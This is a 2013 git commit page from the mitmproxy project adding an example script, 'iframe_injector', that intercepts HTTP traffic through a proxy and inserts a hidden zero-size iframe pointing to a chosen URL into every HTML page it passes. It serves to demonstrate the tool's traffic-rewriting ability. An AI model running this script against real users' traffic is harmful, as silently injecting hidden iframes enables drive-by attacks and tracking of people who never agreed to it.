diff options
| author | Aldo Cortesi <aldo@nullcube.com> | 2013-01-18 14:50:31 +1300 |
|---|---|---|
| committer | Aldo Cortesi <aldo@nullcube.com> | 2013-01-18 14:50:31 +1300 |
| commit | 7a79eeb143e380c44bdfb1dd3fc5056c91c0c3d4 (patch) | |
| tree | 405cef98fcce003c93bf1df2553d2c245ceaa155 /examples/iframe_injector | |
| parent | d0ee4d60d09c607a208ae1b190e619a4f106538e (diff) | |
| parent | 8c6f1dd36b955c5fa2e60e8f7f63568269fbab96 (diff) | |
| download | mitmproxy-7a79eeb143e380c44bdfb1dd3fc5056c91c0c3d4.tar.gz mitmproxy-7a79eeb143e380c44bdfb1dd3fc5056c91c0c3d4.tar.bz2 mitmproxy-7a79eeb143e380c44bdfb1dd3fc5056c91c0c3d4.zip | |
Merge branch 'master' of ssh.github.com:cortesi/mitmproxy
Conflicts:
test/test_server.py
Diffstat (limited to 'examples/iframe_injector')
| -rwxr-xr-x | examples/iframe_injector | 50 |
1 files changed, 50 insertions, 0 deletions
diff --git a/examples/iframe_injector b/examples/iframe_injector new file mode 100755 index 00000000..6dd28674 --- /dev/null +++ b/examples/iframe_injector @@ -0,0 +1,50 @@ +#!/usr/bin/env python +""" + Zap encoding in requests and inject iframe after body tag in html responses. + Usage: + iframe_injector http://someurl/somefile.html +""" +from libmproxy import controller, proxy +import os +import sys + + +class InjectingMaster(controller.Master): + def __init__(self, server, iframe_url): + controller.Master.__init__(self, server) + self._iframe_url = iframe_url + + def run(self): + try: + return controller.Master.run(self) + except KeyboardInterrupt: + self.shutdown() + + def handle_request(self, msg): + if 'Accept-Encoding' in msg.headers: + msg.headers["Accept-Encoding"] = 'none' + msg._ack() + + def handle_response(self, msg): + if msg.content: + c = msg.replace('<body>', '<body><iframe src="%s" frameborder="0" height="0" width="0"></iframe>' % self._iframe_url) + if c > 0: + print 'Iframe injected!' + msg._ack() + + +def main(argv): + if len(argv) != 2: + print "Usage: %s IFRAME_URL" % argv[0] + sys.exit(1) + iframe_url = argv[1] + config = proxy.ProxyConfig( + cacert = os.path.expanduser("~/.mitmproxy/mitmproxy-ca.pem") + ) + server = proxy.ProxyServer(config, 8080) + print 'Starting proxy...' + m = InjectingMaster(server, iframe_url) + m.run() + +if __name__ == '__main__': + main(sys.argv) |
